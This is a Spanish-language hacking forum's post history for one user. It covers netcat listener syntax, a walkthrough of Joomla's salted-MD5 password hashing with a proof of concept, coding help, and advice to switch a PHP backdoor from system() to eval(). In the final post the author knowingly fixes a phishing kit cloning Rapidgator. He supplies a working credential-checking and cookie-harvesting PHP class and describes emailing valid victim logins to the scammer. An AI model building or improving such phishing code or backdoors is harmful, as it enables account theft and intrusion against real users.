Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - ~ Yoya ~

#61
Primero te recomiendo abrir puerto desde 1025 en adelante.

Tienes la sintaxis mal, agregaste open al final.

nc -lnvp 113 open
nc -lnvp 7775


Y trata de saber lo que haces men, hay que tener por lo menos conciencia de lo que se hace.

Saludos.
#62
Bueno nomas queda decir:

Feliz navidad y que la pasen bien de la manera que le gusten.
#63
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
PD: Yoya, si no recomiendas el BT es por que simplemente no sabes usarlo.

@CalebBucker, no es por entrar en discusión pero alguien con los dedos de frente no diría lo que haz dicho. Supongo que Linus Torvalds no sabe usar BT o bueno supongo que si BT hubiera existido en la época de Kevin Mitnick hubiera juankeado la NET entera XD.

Saludos.

#64
jejej oki :P.

Saludos y feliz navidad.
#65
men tienes que abrir el puerto del router. Por eso nunca se conecta a tu pc porque esta rechazando la peticion.

Y ese script en perl que aparte de estar guardado con extencion txt(aunque creo que igual funciona ya que indicas que es un script de perl) no envia ningun mensaje si fallo la conexion.

Por cosas tan simple como esta, es que no recomiendo bt.

Saludos.
#66
La verdad no pensaba publicar esto, pero me pareció un poco interesante  y pensaba que a muchos les resultaría interesante igual. No hay problema si se publica en algún blog o foro, mientras se agregue la fuente.



Buscando un ejemplo de la estructura de los hash que genera joomla para agregarlo a la lista de hash que detecta la herramienta IHash. Opte por descargarme joomla y instalarlo (la versión 2.5.8 que es la que recomiendan) para verlo con mis propios ojos. Luego de instalarlo, cree un usuario directamente desde el panel de administración, llamado example con el password "example" para luego no olvidarme.

Ahora toca ver todas las tablas que contiene la base de datos donde instale joomla.
Código: mysql
mysql> use joomla;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------------+
| Tables_in_joomla            |
+-----------------------------+
| jom_assets                  |
| jom_associations            |
| jom_banner_clients          |
| jom_banner_tracks           |
| jom_banners                 |
| jom_categories              |
| jom_contact_details         |
| jom_content                 |
| jom_content_frontpage       |
| jom_content_rating          |
| jom_core_log_searches       |
| jom_extensions              |
| jom_finder_filters          |
| jom_finder_links            |
| jom_finder_links_terms0     |
| jom_finder_links_terms1     |
| jom_finder_links_terms2     |
| jom_finder_links_terms3     |
| jom_finder_links_terms4     |
| jom_finder_links_terms5     |
| jom_finder_links_terms6     |
| jom_finder_links_terms7     |
| jom_finder_links_terms8     |
| jom_finder_links_terms9     |
| jom_finder_links_termsa     |
| jom_finder_links_termsb     |
| jom_finder_links_termsc     |
| jom_finder_links_termsd     |
| jom_finder_links_termse     |
| jom_finder_links_termsf     |
| jom_finder_taxonomy         |
| jom_finder_taxonomy_map     |
| jom_finder_terms            |
| jom_finder_terms_common     |
| jom_finder_tokens           |
| jom_finder_tokens_aggregate |
| jom_finder_types            |
| jom_languages               |
| jom_menu                    |
| jom_menu_types              |
| jom_messages                |
| jom_messages_cfg            |
| jom_modules                 |
| jom_modules_menu            |
| jom_newsfeeds               |
| jom_overrider               |
| jom_redirect_links          |
| jom_schemas                 |
| jom_session                 |
| jom_template_styles         |
| jom_update_categories       |
| jom_update_sites            |
| jom_update_sites_extensions |
| jom_updates                 |
| jom_user_notes              |
| jom_user_profiles           |
| jom_user_usergroup_map      |
| jom_usergroups              |
| jom_users                   |
| jom_viewlevels              |
| jom_weblinks                |
+-----------------------------+
61 rows in set (0.00 sec)


Directamente me fije en la tabla jom_users. Supuse que hay es donde se guardan los datos que tienen que ver con el nombre de usuario y password. Ahora toca ver la estructura de la tabla jom_users para verificar los campos que tiene para realizar la próxima consulta SQL.

Código: mysql
mysql> describe jom_users;
+---------------+--------------+------+-----+---------------------+----------------+
| Field         | Type         | Null | Key | Default             | Extra          |
+---------------+--------------+------+-----+---------------------+----------------+
| id            | int(11)      | NO   | PRI | NULL                | auto_increment |
| name          | varchar(255) | NO   | MUL |                     |                |
| username      | varchar(150) | NO   | MUL |                     |                |
| email         | varchar(100) | NO   | MUL |                     |                |
| password      | varchar(100) | NO   |     |                     |                |
| usertype      | varchar(25)  | NO   | MUL |                     |                |
| block         | tinyint(4)   | NO   | MUL | 0                   |                |
| sendEmail     | tinyint(4)   | YES  |     | 0                   |                |
| registerDate  | datetime     | NO   |     | 0000-00-00 00:00:00 |                |
| lastvisitDate | datetime     | NO   |     | 0000-00-00 00:00:00 |                |
| activation    | varchar(100) | NO   |     |                     |                |
| params        | text         | NO   |     | NULL                |                |
| lastResetTime | datetime     | NO   |     | 0000-00-00 00:00:00 |                |
| resetCount    | int(11)      | NO   |     | 0                   |                |
+---------------+--------------+------+-----+---------------------+----------------+
14 rows in set (0.00 sec)


Directamente vi que los campos que me interesaban, era id, username (contiene el nombre de usuario para loguearse) y password (el campo mas importante, contiene el hash que genera joomla).

Código: mysql

mysql> select id, username, password from jom_users;
+----+----------+-------------------------------------------------------------------+
| id | username | password                                                          |
+----+----------+-------------------------------------------------------------------+
| 73 | admin    | 07ac4817e34b93ee42e88ea0f0705e9a:3uQaeUYsbQf2F7aeehj75gYiuHARWpdJ |
| 74 | example  | edbea885d26f0557e748605c5a5707cd:NXhARsuArVRSZcs4U0lSDrpCDs0Le1Ch |
+----+----------+-------------------------------------------------------------------+
2 rows in set (0.00 sec)


Hay muestra los 2 usuarios, el primero que se crea cuando se instala joomla y el segundo usuario que cree directamente desde el panel de administración.

Hasta hay todo bien, había hecho todo lo que necesitaba pero me dio un poco de curiosidad ver como joomla genera los hash y también me servia para asegurarme de todo. Lo primero que hice fue buscar en google, ya que no quería leer el código de joomla para poder entender como generaba los hash joomla, mejor ver algún post de alguien que ya lo había leído :P.

Me encontré con este hilo: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Pero vi que fue hace 2 años y no estaba seguro si  joomla utilizaba el mismo método, así que me puse a revisar el source.

Indagando un poco, el método que generaba los hash era bind() que pertenecía a la clase JUser del archivo user.php que se encontraba en el directorio libraries/joomla/user.

user.php - metodo bind
Código: php
public function bind(&$array)
{
// Let's check to see if the user is new or not
if (empty($this->id))
{
// Check the password and create the crypted password
if (empty($array['password']))
{
$array['password'] = JUserHelper::genRandomPassword();
$array['password2'] = $array['password'];
}

// TODO: Backend controller checks the password, frontend doesn't but should.
// Hence this code is required:
if (isset($array['password2']) && $array['password'] != $array['password2'])
{
$this->setError(JText::_('JLIB_USER_ERROR_PASSWORD_NOT_MATCH'));
return false;
}

$this->password_clear = JArrayHelper::getValue($array, 'password', '', 'string');

$salt = JUserHelper::genRandomPassword(32);
$crypt = JUserHelper::getCryptedPassword($array['password'], $salt);
$array['password'] = $crypt . ':' . $salt;

// Set the registration timestamp

$this->set('registerDate', JFactory::getDate()->toSql());

// Check that username is not greater than 150 characters
$username = $this->get('username');
if (strlen($username) > 150)
{
$username = substr($username, 0, 150);
$this->set('username', $username);
}

// Check that password is not greater than 100 characters
$password = $this->get('password');
if (strlen($password) > 100)
{
$password = substr($password, 0, 100);
$this->set('password', $password);
}
}
else
{
// Updating an existing user
if (!empty($array['password']))
{
if ($array['password'] != $array['password2'])
{
$this->setError(JText::_('JLIB_USER_ERROR_PASSWORD_NOT_MATCH'));
return false;
}

$this->password_clear = JArrayHelper::getValue($array, 'password', '', 'string');

$salt = JUserHelper::genRandomPassword(32);
$crypt = JUserHelper::getCryptedPassword($array['password'], $salt);
$array['password'] = $crypt . ':' . $salt;
}
else
{
$array['password'] = $this->password;
}
}

// TODO: this will be deprecated as of the ACL implementation
// $db = JFactory::getDbo();

if (array_key_exists('params', $array))
{
$params = '';

$this->_params->loadArray($array['params']);

if (is_array($array['params']))
{
$params = (string) $this->_params;
}
else
{
$params = $array['params'];
}

$this->params = $params;
}

// Bind the array
if (!$this->setProperties($array))
{
$this->setError(JText::_('JLIB_USER_ERROR_BIND_ARRAY'));
return false;
}

// Make sure its an integer
$this->id = (int) $this->id;

return true;
}


El método recibe como parámetro un array, pero si se fijan ponen al inicio el símbolo &. Eso indica que el array $array se pasa por referencia y por lo tanto los cambios que se hagan a la variable $array, dentro del metodo bind, afectara directamente al array que se le pase como parámetro al metodo bind(). El método bind retorna un booleano, si el usuario existe entonce retornaba un false, si era nuevo entonce un true (despues de haber generado el hash).

Nota: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, ejemplo #2

Bueno aquí las 3 lineas que mas me interesa del metodo bind(), van desde linea 660 hasta la 662:
Código: php
				$salt = JUserHelper::genRandomPassword(32);
$crypt = JUserHelper::getCryptedPassword($array['password'], $salt);
$array['password'] = $crypt . ':' . $salt;


Al final el array guardaba el hash de esta forma crypt:salt
En la primera linea, llama el método estático genRandomPassword() de la clase abstracta JUserHelper que pertenece al archivo helper.php en el directorio libraries/joomla/user. Al método se le pasa como parámetro el numero 32.

Aquí las primeras 3 lineas del método genRandomPassword(), que basta con las 3 primera mas el nombre de la función para darse cuenta cual es el propósito.
Código: php
public static function genRandomPassword($length = 8)
{
$salt = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";


El metodo retorna por defecto 8 caracteres al azar (a-z-A-Z0-9). Pero como se le pasa un 32 como parámetro, retornara 32 caracteres al alzar.

Eso quiere decir que la variable $salt contendrá 32 caracteres al azar. Ahora vamos a la segunda linea:

Código: php
				$salt = JUserHelper::genRandomPassword(32);
$crypt = JUserHelper::getCryptedPassword($array['password'], $salt);
$array['password'] = $crypt . ':' . $salt;


La variable $crypt almacena el valoro del resultado del método getCryptedPassword de la clase abstracta JUserHelper; se les pasa 2 parámetros al método getCryptedPassword que es el password (en texto plano) y los 32 caracteres generados de forma aleatoria. Aquí el método getCryptedPassword:

Código: php
public static function getCryptedPassword($plaintext, $salt = '', $encryption = 'md5-hex', $show_encrypt = false)
{
// Get the salt to use.
$salt = JUserHelper::getSalt($encryption, $salt, $plaintext);

// Encrypt the password.
switch ($encryption)
{
case 'plain':
return $plaintext;

case 'sha':
$encrypted = base64_encode(mhash(MHASH_SHA1, $plaintext));
return ($show_encrypt) ? '{SHA}' . $encrypted : $encrypted;

case 'crypt':
case 'crypt-des':
case 'crypt-md5':
case 'crypt-blowfish':
return ($show_encrypt ? '{crypt}' : '') . crypt($plaintext, $salt);

case 'md5-base64':
$encrypted = base64_encode(mhash(MHASH_MD5, $plaintext));
return ($show_encrypt) ? '{MD5}' . $encrypted : $encrypted;

case 'ssha':
$encrypted = base64_encode(mhash(MHASH_SHA1, $plaintext . $salt) . $salt);
return ($show_encrypt) ? '{SSHA}' . $encrypted : $encrypted;

case 'smd5':
$encrypted = base64_encode(mhash(MHASH_MD5, $plaintext . $salt) . $salt);
return ($show_encrypt) ? '{SMD5}' . $encrypted : $encrypted;

case 'aprmd5':
$length = strlen($plaintext);
$context = $plaintext . '$apr1$' . $salt;
$binary = JUserHelper::_bin(md5($plaintext . $salt . $plaintext));

for ($i = $length; $i > 0; $i -= 16)
{
$context .= substr($binary, 0, ($i > 16 ? 16 : $i));
}
for ($i = $length; $i > 0; $i >>= 1)
{
$context .= ($i & 1) ? chr(0) : $plaintext[0];
}

$binary = JUserHelper::_bin(md5($context));

for ($i = 0; $i < 1000; $i++)
{
$new = ($i & 1) ? $plaintext : substr($binary, 0, 16);
if ($i % 3)
{
$new .= $salt;
}
if ($i % 7)
{
$new .= $plaintext;
}
$new .= ($i & 1) ? substr($binary, 0, 16) : $plaintext;
$binary = JUserHelper::_bin(md5($new));
}

$p = array();
for ($i = 0; $i < 5; $i++)
{
$k = $i + 6;
$j = $i + 12;
if ($j == 16)
{
$j = 5;
}
$p[] = JUserHelper::_toAPRMD5((ord($binary[$i]) << 16) | (ord($binary[$k]) << 8) | (ord($binary[$j])), 5);
}

return '$apr1$' . $salt . '$' . implode('', $p) . JUserHelper::_toAPRMD5(ord($binary[11]), 3);

case 'md5-hex':
default:
$encrypted = ($salt) ? md5($plaintext . $salt) : md5($plaintext);
return ($show_encrypt) ? '{MD5}' . $encrypted : $encrypted;
}
}


Observando los parametros:
Código: php
getCryptedPassword($plaintext, $salt = '', $encryption = 'md5-hex', $show_encrypt = false)


el primer parámetro, corresponde al password (en texto plano), el salt que por defecto esta vació pero recordar que se envían 32 caracteres aleatorio, por lo tanto en este caso la variable $salt contendrá los 32 caracteres aleatorios. El tercer parámetro por defecto contiene el valor de md5-hex y el cuarto un booleano establecido como false.

Una linea importante es esta (la cuarta linea):

Código: php
$salt = JUserHelper::getSalt($encryption, $salt, $plaintext);


Ya que le esta dando un nuevo valor a la variable $salt. Aquí el método getSalt():

Código: php
public static function getSalt($encryption = 'md5-hex', $seed = '', $plaintext = '')
{
// Encrypt the password.
switch ($encryption)
{
case 'crypt':
case 'crypt-des':
if ($seed)
{
return substr(preg_replace('|^{crypt}|i', '', $seed), 0, 2);
}
else
{
return substr(md5(mt_rand()), 0, 2);
}
break;

case 'crypt-md5':
if ($seed)
{
return substr(preg_replace('|^{crypt}|i', '', $seed), 0, 12);
}
else
{
return '$1$' . substr(md5(mt_rand()), 0, 8) . '$';
}
break;

case 'crypt-blowfish':
if ($seed)
{
return substr(preg_replace('|^{crypt}|i', '', $seed), 0, 16);
}
else
{
return '$2$' . substr(md5(mt_rand()), 0, 12) . '$';
}
break;

case 'ssha':
if ($seed)
{
return substr(preg_replace('|^{SSHA}|', '', $seed), -20);
}
else
{
return mhash_keygen_s2k(MHASH_SHA1, $plaintext, substr(pack('h*', md5(mt_rand())), 0, 8), 4);
}
break;

case 'smd5':
if ($seed)
{
return substr(preg_replace('|^{SMD5}|', '', $seed), -16);
}
else
{
return mhash_keygen_s2k(MHASH_MD5, $plaintext, substr(pack('h*', md5(mt_rand())), 0, 8), 4);
}
break;

case 'aprmd5': /* 64 characters that are valid for APRMD5 passwords. */
$APRMD5 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

if ($seed)
{
return substr(preg_replace('/^\$apr1\$(.{8}).*/', '\\1', $seed), 0, 8);
}
else
{
$salt = '';
for ($i = 0; $i < 8; $i++)
{
$salt .= $APRMD5{rand(0, 63)};
}
return $salt;
}
break;

default:
$salt = '';
if ($seed)
{
$salt = $seed;
}
return $salt;
break;
}
}


Al parámetro getSalt() se le pasa como parámetro la variable $encryption que por defecto contiene el valor de md5-hex. De ese primer parámetro depende el comportamiento del método getSalt(). Ya que en el método getSalt() utiliza un switch y dependiendo del valor que contenga $encryption se comportara de forma diferente. Por defecto como $encryption contiene md5-hex, se ejecutara el default: del swtich. Que simplemente retorna el salt sin ningún tipo de cambio.

Por lo tanto en la linea:
Código: php
$salt = JUserHelper::getSalt($encryption, $salt, $plaintext);


La variable $salt contendrá el mismo valor que antes.

Bueno volviendo al metodo getCryptedPassword(), vemos que luego sigue un switch que evalúa la variable $encryption que dependiendo de esta se puede comportar de manera diferente. Recordando que la variable $encryption por defecto contiene el valor de md5-hex entonce vamos directamente a ese case

Código: php
			case 'md5-hex':
default:
$encrypted = ($salt) ? md5($plaintext . $salt) : md5($plaintext);
return ($show_encrypt) ? '{MD5}' . $encrypted : $encrypted;


Vemos que se utiliza el operador ternario para darle un nuevo valor a la variable $encrypted. Bueno si la variable salt contiene algún valor, entonce la variable $encrypted contendrá el valor del password+salt (32 caracteres alertorios) cifrado a MD5, sino la variable encrypted tendrá el valor del password cifrado en MD5. Luego, en la linea siguiente hay se retorna la variable $encrypted pero se utiliza el operador ternario para indicar 2 posibles casos. Si la variable $show_encrypt  es verdadera, entonce retorna $encrypted pero le agrega al inicio la cadena {MD5} sino retorna simplemente el valor de $encrypted.

Recordar que en el método getCryptedPassword() la variable $show_encrypt por defecto es false, por lo tanto en este caso retornara simplemente el valor de $encrypted.

Ahora vamos a la ultima linea:
Código: php
				$salt = JUserHelper::genRandomPassword(32);
$crypt = JUserHelper::getCryptedPassword($array['password'], $salt);
$array['password'] = $crypt . ':' . $salt;


Que simplemente contiene el valor de la variable $crypt el signo de : y luego el salt. Que es la estructura en que joomla guarda los hash que genera.

Código: php
mysql> select id, username, password from jom_users;
+----+----------+-------------------------------------------------------------------+
| id | username | password                                                          |
+----+----------+-------------------------------------------------------------------+
| 73 | admin    | 07ac4817e34b93ee42e88ea0f0705e9a:3uQaeUYsbQf2F7aeehj75gYiuHARWpdJ |
| 74 | example  | edbea885d26f0557e748605c5a5707cd:NXhARsuArVRSZcs4U0lSDrpCDs0Le1Ch |
+----+----------+-------------------------------------------------------------------+
2 rows in set (0.00 sec)


Ahora por lo tanto, es simple hacer un pequeño PoC (prueba de concepto).

Código: php
<?php

//PoC by Yoyahack

$hash = 'edbea885d26f0557e748605c5a5707cd:NXhARsuArVRSZcs4U0lSDrpCDs0Le1Ch';
$password = "example";

$estructura = explode(':', $hash);

$salt = $estructura[1];

echo "[+]Hash                    -> ".$hash."\n\n";
echo "Salt                    -> ".$salt."\n";
echo "password encriptado     -> ".$estructura[0]."\n";
echo "[*]md5(password+salt)   -> ".md5($password.$salt)."\n";

?>


Código: bash
yoya@OpenSUSE:~/www/public$ php a.php
[+]Hash                    -> edbea885d26f0557e748605c5a5707cd:NXhARsuArVRSZcs4U0lSDrpCDs0Le1Ch

Salt                    -> NXhARsuArVRSZcs4U0lSDrpCDs0Le1Ch
password encryptado     -> edbea885d26f0557e748605c5a5707cd
[*]md5(password+salt)   -> edbea885d26f0557e748605c5a5707cd
yoya@OpenSUSE:~/www/public$


Saludos.
#67
men tienes que detallar mas el problema, la verdad no entiendo lo que quieres decir. Otra cosa, para ayudarte tienes que ayudarnos. Osea que no puedes venir y poner todo el codigo para que lo revisemos y te demos una respuesta, la verdad es que este tipo de post nadie suele contestar.
Te recomiendo que pienses antes de postear, trata de cortar el codigo y solo pongas lo necesario, lo util. También el source utiliza otro archivo llamado conexion.php y no lo haz puesto por ninguna parte aunque me imagino lo que contiene.

Te recomiendo algo muy importante, tienes que hacer las cosas mas facil para nosotros. Para responderte, en este caso hay que leer todo el source, imaginarse que codigo contiene el archivo conexion.php, crear una tabla mysql y agregar informacion para luego hacer unas pruebas. Todo eso para poder responde tu duda, cuando todo lo puedes acortar a algunas 10 lineas, incluso resolver el problema sin poner codigo.

Saludos.
#68
pues es verdad que la linea del error no puede ser la del codigo que estas mostrando...

Pero igual te doy un buen consejo para que puedas arreglar ese error y cualquiera de ese tipo. El error se esta dando porque la sintaxis de la consulta SQL no es valida. Lo que tienes que hacer es que antes de ejecutar una consulta SQL, imprimes en la pantalla la consulta SQL y te daras cuenta cual es el error.

Saludos.
#69
Bugs y Exploits / Re:[Paper] IFXSS
Diciembre 09, 2012, 01:06:32 PM
Muy bueno, yo hace 2 anios encontre un XSS en imageshack de la misma manera.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Pero como se daran cuenta, siguiendo ese proceso nose puede utilizar el XSS para hacer el ataque mas efectivo.  Hay que automatizar mucho mas el proceso para hacer el ataque mucho mas efectivo. Yo tratare de sacar un poco de tiempo antes de este fin de anio para ver si puedo hacer este tipo de explotacion mucho mas efectiva y publicar un paper.

Saludos y te recomiendo que cambies el titutlo de IFXSS, ya que cuando uno lee IF, das la sensacion de la sentencia de control if.
#70
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Yo haría que se habrá en una pestaña nueva por comodidad.

+1
#71
Buenas alex, yo hace como 1 años hice una pequeña aplicación de escritorio, para tener una version de escritorio de un servicio web que ofrecia. Con mis conocimientos de otros lenguajes, en 3 dias tenia la GUI, y podia comunicarme con mi servidor y mi app funcionaba normalmente. 3 dias quizas muy poco, ya sabia que es lo que tenia que hacer, simplemente debia conocer la sintaxis de algunas cosas en concreto.

Actualmente estoy tomando un curso de java, planeando certificarme de SCJP (aunque como oracle compro a sun supongo que sera el OCJP XD)  para abril o julio. Y hasta ahora la sintaxis no es tan importante, osea necesitas conocerla para poder programar pero no es lo mas importante. Lo fuerte de Java es POO, y  no te engañes, no es solo método y atributos. Hay muchísimas cosas y la verdad a mi me encanta POO, ahora lo aplico en todos los lenguajes en lo que trabajo. Y algo muy importante son los patrones de diseño de software.

Saludos, si alguien puede corregirme no hay problema, que no tengo conceptos tan fuerte de java como los que tengo de PHP.

Saludos.
#72
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


Normalmente en los servicios de hosting esta incluido, hasta en los gratuitos como 000webhost.

Saludos.
#73
Bueno ya me imagino como es el source, si ocupas Javascript.

El codigo PHP se ejecuta, al final queda javascript ejecutandose para verificar el tiempo de la proxima ejecucion. Cuando llegue el tiempo, entonce redirecciona de nuevo el codigo PHP.

En realidad no te estas haciendo un auto-dos al servidor sino al cliente y un codigo tan pequenio como ese, la verdad no afecta mucho.

Dos controlado o no, es una muy mala practica y es algo que no es recomendable hacer o por lo menos un programador decente no haria tal cosa.

Saludos y para estos caso, lo mejor es ocupar Cron o algun software similar.
#74
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#75
Código: javascript
<script>function formulario(f) { 
if (f.nombre.value.length   == 0) {
        f.nombre.focus();
        alert ('El nombre esta vacío'); 
         return false;
         }
if (f.dni.value.length  == 0) {
        f.dni.focus();
        alert ('El DNI esta vacío');
        return false; }
       
if (f.telefono.value.length   == 0) {
        f.telefono.focus();
        alert ('El Telefono esta vacío'); 
        return false;
        }
if (f.email.value.length  == 0) {
        f.email.focus();
        alert ('El email esta vacío');
        return false; }


//desde aqui no me funciona --si agrego lo siguiente, deja de funcionar el código, me suena ilogico pero stoy empezando a pensar que es mi appserv
if (f.domicilio.value.length  == 0) {
        f.domicilio.focus();
        alert ('El Domicilio esta vacío');
        return false; }

if (f.curso.value.length  == 0) {
        f.curso.focus();
        alert ('El curso esta vacío');
        return false; }


if (f.dias.value.length  == 0) {
        f.dias.focus();
        alert ('La Cuota esta vacío'); //el campo se llama 'dias' y la verdad que nunca se lo cambie, pero hace referencia a cuota
        return false; }

if (f.horario.value.length  == 0) {
        f.horario.focus();
        alert ('El Horario esta vacío');
        return false; }
        return true;

}


Te comiste una llave men... Y no debes agregar muchos return como default. Debe haber un solo return por default. Otro consejo, debes hacer algo mas genérico men, porque no puedes escribir como 4 lineas para comprobar si esta vacio un input.

Y la verdad, no deberías aprender HTML5, deberías aprender a programar.

Saludos.
#76
Pentesting / Re:Creando un minibackdoor en PHP
Noviembre 25, 2012, 01:55:00 AM
En vez de system, debieras reemplazarlo con eval(). Razón?? Simplemente porque system te permite ejecutar comando del sistema, en cambio eval te permite ejecutar un código PHP.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Saludos.
#77
Una pequeña aclaración y muy importante, recordar que el punto  coincide con todo excepto con salto de lineas. Y bueno, en lo personal no recomiendo utilizarlo, preferiblemente es mejor hacer un patrón mas especifico.

Saludos.
#78
En realidad los errores son del codigo PHP que tenia. Utiliza parametros GET para saber el nombre de archivo y el peso. Te recomiendo que dejes dato constante y bueno agregale datos estatico mejor. Igual le agregas un error_reporting y no apareceran errores, aunque en lo personal no recomiendo utilizarlo.

Yo me comprometo a que el source funcione nomas.

Saludos.
#79
Bueno, ese scam esta muy desactualizado, supongo que no sera tuyo,  y en post como este no me gusta ayudar. Pero te di mi palabra, a si que esta vez hago una excepcion xD. Agregue una clase vieja que cree hace algunos años pero que funciona de maravilla.

Bueno, si los datos son falso, envía un mensaje de alerta diciendo que los datos son incorrectos. Si son correcto, envia un mail a tu correo con los datos y luego redirecciona a la pagina de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

El que programo ese archivo no sabe ni HTML, nunca hiba a redireccionar.

Otra cosa muy importante, para que te envié el correo, en el servidor donde subas el scam debe tener configurado SMTP o el que use el servidor.

Este es el source:
Código: php
<?php

class HttpLoginConnect {

private $login;
private $user;
private $pass;
private $form_user;
private $form_pass;
private $parametro_opcional;
private $comprovar;
private $cookie_active;
private $cookie_value;

public function login($login)
{
    $this->login = $login;
}

public function user_pass($usuario, $password)
{
    $this->user = $usuario;
    $this->pass = $password;
}

public function field_user($field_user)
{
    $this->form_user = $field_user;
}

public function field_pass($field_pass)
{
    $this->form_pass = $field_pass;
}

public function additional_parameter($par){
$this->parametro_opcional = $par;
}

public function check(){
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4');
curl_setopt($ch,CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($ch, CURLOPT_URL, $this->login);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HEADER,true);//Salida de las cabeseras
curl_setopt ($ch, CURLOPT_POST, true);

if(empty($this->parametro_opcional)){
curl_setopt ($ch, CURLOPT_POSTFIELDS, $this->form_user."=".$this->user."&".$this->form_pass."=".$this->pass);
}else{
curl_setopt ($ch, CURLOPT_POSTFIELDS, $this->form_user."=".$this->user."&".$this->form_pass."=".$this->pass."&".$this->parametro_opcional);
}
$header = curl_exec($ch);

if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == 302){
preg_match_all("/Set-Cookie:\s*([\w\=]+)[\s\;\n]*/i", $header, $cookie_valor, PREG_SET_ORDER);
foreach ($cookie_valor as $cookie_valor){
$this->cookie_value .= $cookie_valor[1].";";
}
if(!empty($this->cookie_value)){
$this->comprovar = true;
}

}
curl_close($ch);
return $this->comprovar;
}

public function cookie_active($value){
if($value){
$this->cookie_active = true;
}else{
$this->cookie_active = false;
}
}

public function view_cookie(){
if($this->comprovar){
return $this->cookie_value;
}else{
return false;
}
}


public function get($site){
if($this->comprovar && $this->cookie_active){
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4');
curl_setopt($ch,CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($ch, CURLOPT_URL, $site);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $this->cookie_value);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}else{
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4');
curl_setopt($ch,CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($ch, CURLOPT_URL, $site);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
}

}

?>











<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8 "/>
    <link rel="stylesheet" type="text/css" href="http://rapidgator.net/css/all.css?v=2" />
<link rel="stylesheet" type="text/css" href="http://rapidgator.net/css/ddsmoothmenu.css" />
<script type="text/javascript" src="http://rapidgator.net/assets/8d5cb7dd/jquery.min.js"></script>
<script type="text/javascript" src="http://rapidgator.net/javascript/input.js"></script>
<script type="text/javascript" src="http://rapidgator.net/javascript/main.js"></script>
<script type="text/javascript" src="http://rapidgator.net/javascript/ddsmoothmenu.js"></script>
<title>Download Rapidgator.net: Fast, safe and secure file hosting</title>    <!--
    <noscript>  <meta http-equiv="refresh" content="0; URL=browser_not_supported.html" /> </noscript>
    -->
    <!--[if lt IE 7]>
    <meta http-equiv="refresh" content="0; URL=browser_not_supported.html" />
    <div style="display: none">
    <![endif]-->
    <!--[if lt IE 8]>
    <link rel="stylesheet" type="text/css" href="http://rapidgator.net/css/ie.css" media="screen" />    <![endif]-->
    <!--[if IE 8]>
    <link rel="stylesheet" type="text/css" href="http://rapidgator.net/css/ie8.css" media="screen" />    <![endif]-->
    <!--[if IE 6]>
    <script type="text/javascript" src="/javascript/pngFX.js"></script>    <script type="text/javascript">
        DD_belatedPNG.fix(' img, .logo a, .wrap-timer, .timer ');
    </script>
    <![endif]-->
    <script type="text/javascript">
        var url_changeLang = 'http://rapidgator.net/site/lang';
        var url_antifrodDownloadLog = 'http://rapidgator.net/antifrod/SaveDownloadLog';
        ddsmoothmenu.init({
            mainmenuid: "smoothmenu1", //menu DIV id
            orientation: 'h', //Horizontal or vertical menu: Set to "h" or "v"
            classname: 'ddsmoothmenu', //class added to menu's outer DIV
            //customtheme: ["#1c5a80", "#18374a"],
            contentsource: "markup" //"markup" or ["container_id", "path_to_menu_file"]
        });
    </script>
   
        <!--Google analytics don't remove-->
    <script type="text/javascript">
        var _gaq = _gaq || [];
        _gaq.push(['_setAccount', 'UA-25516484-1']);
        _gaq.push(['_trackPageview']);
        (function() {
            var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
            ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
            var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
        })();
    </script>
    <!--Google analytics don't remove-->
</head>
<body>
<FORM method="POST" id="logoutfrm"><input type="hidden" name="logout" value="1"></FORM>
<div class="container">
    <div class="header">
        <h1 class="logo"><a href="http://rapidgator.net/site/index">Rapidgator.net</a></h1>
        <p class="slogan">Rapidgator.net: Fast, safe and secure file hosting</p>

        <div class="ddsmoothmenu" id="smoothmenu1">
            <ul>
